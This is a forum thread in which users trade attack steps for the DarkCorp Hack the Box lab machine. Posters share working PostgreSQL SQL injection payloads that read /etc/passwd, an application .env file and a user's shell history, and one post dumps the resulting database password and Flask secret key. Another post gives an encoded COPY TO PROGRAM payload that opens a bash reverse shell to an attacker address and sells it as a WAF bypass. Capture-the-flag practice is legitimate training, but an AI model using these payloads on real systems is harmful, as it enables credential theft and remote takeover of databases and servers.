02-08-2025, 11:14 PM
''; SELECT pg_read_file('/etc/passwd', 0, 1000); works. may be able to exfiltrate a configuration file
|
DarkCorp Hack the Box Season 7 (Windows Insane)
by RedBlock - Saturday February 8, 2025 at 03:32 PM
|
|
02-08-2025, 11:14 PM
''; SELECT pg_read_file('/etc/passwd', 0, 1000); works. may be able to exfiltrate a configuration file
02-08-2025, 11:15 PM
(02-08-2025, 09:45 PM)fr34cker Wrote: http://dev-a3f1-01.drip.htb/login How did you get this ?
Ban reason: Leeching. (Permanent)
02-08-2025, 11:20 PM
(02-08-2025, 11:15 PM)0xbeef Wrote:(02-08-2025, 09:45 PM)fr34cker Wrote: http://dev-a3f1-01.drip.htb/login it was in bcase's email.
02-08-2025, 11:22 PM
''; SELECT pg_read_file('/var/www/html/dashboard/.env', 0, 10000); --
gives us: # True for development, False for production DEBUG=False # Flask ENV FLASK_APP=run.py FLASK_ENV=development # If not provided, a random one is generated # SECRET_KEY=<YOUR_SUPER_KEY_HERE> # Used for CDN (in production) # No Slash at the end ASSETS_ROOT=/static/assets # If DB credentials (if NOT provided, or wrong values SQLite is used) DB_ENGINE=postgresql DB_HOST=localhost DB_NAME=dripmail DB_USERNAME=dripmail_dba DB_PASS=2Qa2SsBkQvsc DB_PORT=5432 SQLALCHEMY_DATABASE_URI = 'postgresql://dripmail_dba:2Qa2SsBkQvsc@localhost/dripmail' SQLALCHEMY_TRACK_MODIFICATIONS = True SECRET_KEY = 'GCqtvsJtexx5B7xHNVxVj0y2X0m10jq' MAIL_SERVER = 'drip.htb' MAIL_PORT = 25 MAIL_USE_TLS = False MAIL_USE_SSL = False MAIL_USERNAME = None MAIL_PASSWORD = None MAIL_DEFAULT_SENDER = 'support@drip.htb'
02-08-2025, 11:42 PM
(02-08-2025, 11:20 PM)ThreeCleaves Wrote:(02-08-2025, 11:15 PM)0xbeef Wrote:(02-08-2025, 09:45 PM)fr34cker Wrote: http://dev-a3f1-01.drip.htb/login or curl http://drip.darkcorp.htb/dashboard/apps/.../routes.py
02-08-2025, 11:44 PM
(02-08-2025, 11:20 PM)ThreeCleaves Wrote:(02-08-2025, 11:15 PM)0xbeef Wrote:(02-08-2025, 09:45 PM)fr34cker Wrote: http://dev-a3f1-01.drip.htb/login Got it now, thanks
Ban reason: Leeching. (Permanent)
02-08-2025, 11:53 PM
we can use this command to ls directories from the SQL injection point
''; SELECT * FROM pg_ls_dir('/etc/'); --
02-09-2025, 12:06 AM
''; SELECT * FROM pg_read_file('/home/ebelford/.bash_history')
02-09-2025, 12:06 AM
DO $$
DECLARE
c text;
BEGIN
c := CHR(67) || CHR(79) || CHR(80) || CHR(89) ||
' (SELECT '''') to program ''bash -c "bash -i >& /dev/tcp/10.10.XX.XX/PORT 0>&1"''';
EXECUTE c;
END $$;Reverse shell via SQLi with "WAF" bypass
02-09-2025, 12:07 AM
(02-08-2025, 08:57 PM)Globules Wrote: How did you even found out the http://drip.darkcorp.htb? |
|
« Next Oldest | Next Newest »
|
| Possibly Related Threads… | |||||
| Thread | Author | Replies | Views | Last Post | |
| Hack the box Pro Labs, VIP, VIP+ 1 month free Method | 22 | 9,270 |
06-25-2026, 02:15 PM Last Post: |
||
| HTB Eloquia User and Root Flags - Insane Box | 13 | 7,456 |
03-27-2026, 06:14 PM Last Post: |
||
| HTB - VOLEUR.HTB - MEDIUM WINDOWS | 1 | 6,652 |
02-09-2026, 07:07 PM Last Post: |
||
| HTB - CERTIFICATE.HTB - HARD WINDOWS | 0 | 2,861 |
02-09-2026, 04:49 PM Last Post: |
||
| Hack the Box FullHouse all 7 flags | 13 | 4,810 |
01-27-2026, 08:30 PM Last Post: |
||